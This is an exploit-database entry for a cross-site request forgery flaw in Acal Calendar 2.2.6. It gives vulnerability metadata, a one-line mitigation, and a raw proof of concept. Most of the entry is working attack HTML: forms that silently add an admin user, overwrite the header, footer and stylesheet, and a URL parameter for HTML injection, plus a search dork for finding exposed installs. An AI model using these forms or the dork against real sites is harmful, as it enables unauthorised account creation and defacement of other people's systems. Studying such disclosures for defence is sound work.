Acal calendar 2.2.6 CSRF Vulnerability

vendor:

Acal Calendar

by:

Number 7

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Acal Calendar

Affected Version From: 2.2.6

Affected Version To: 2.2.6

Patch Exists: NO

Related CWE: N/A

CPE: a:acal_project:acal_calendar

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2012

Acal calendar 2.2.6 CSRF Vulnerability

Acal calendar 2.2.6 is vulnerable to CSRF attacks. An attacker can exploit this vulnerability to add a new user, edit the header and footer, and inject HTML code into the calendar page.

Mitigation:

Implementing a CSRF token in the application can prevent CSRF attacks.

Source

Exploit-DB raw data:

# Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability]
# Date:          [11-03-2012]
# Author:        [Number 7]
# Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory]
# Version:       [2.2.6]
# Dork:          ["Calendar Admin: Edit Header and Footer"]
# Tested on:     [Windows,Linux]
____________________________________________________________________________
Add User<br>
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/changelogin.php?action=add"><br>
Username: <br>
<input type="text" size="20" name="user" /><br>
Password:<br>
 <input type="password" size="20" name="pass" />
<input type="submit" value="Add User" /></form>

Edit/Add Header
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=header" method="post">
<textarea cols="60" rows="14" name="header">Write New Header Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />

Edit/Add Footer
<form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer" method="post">
<textarea cols="60" rows="14" name="footer">Write New Footer Here.&lt;/textarea&gt;
<input type="submit" value="Submit Changes" />
</form>


Style Options
<form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style">
<textarea name="stylesheet" cols="60" rows="20">&lt;/textarea&gt;
<input type="submit" value="Edit" />

HTML INJECTION:
http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here.
____________________________________________________________________________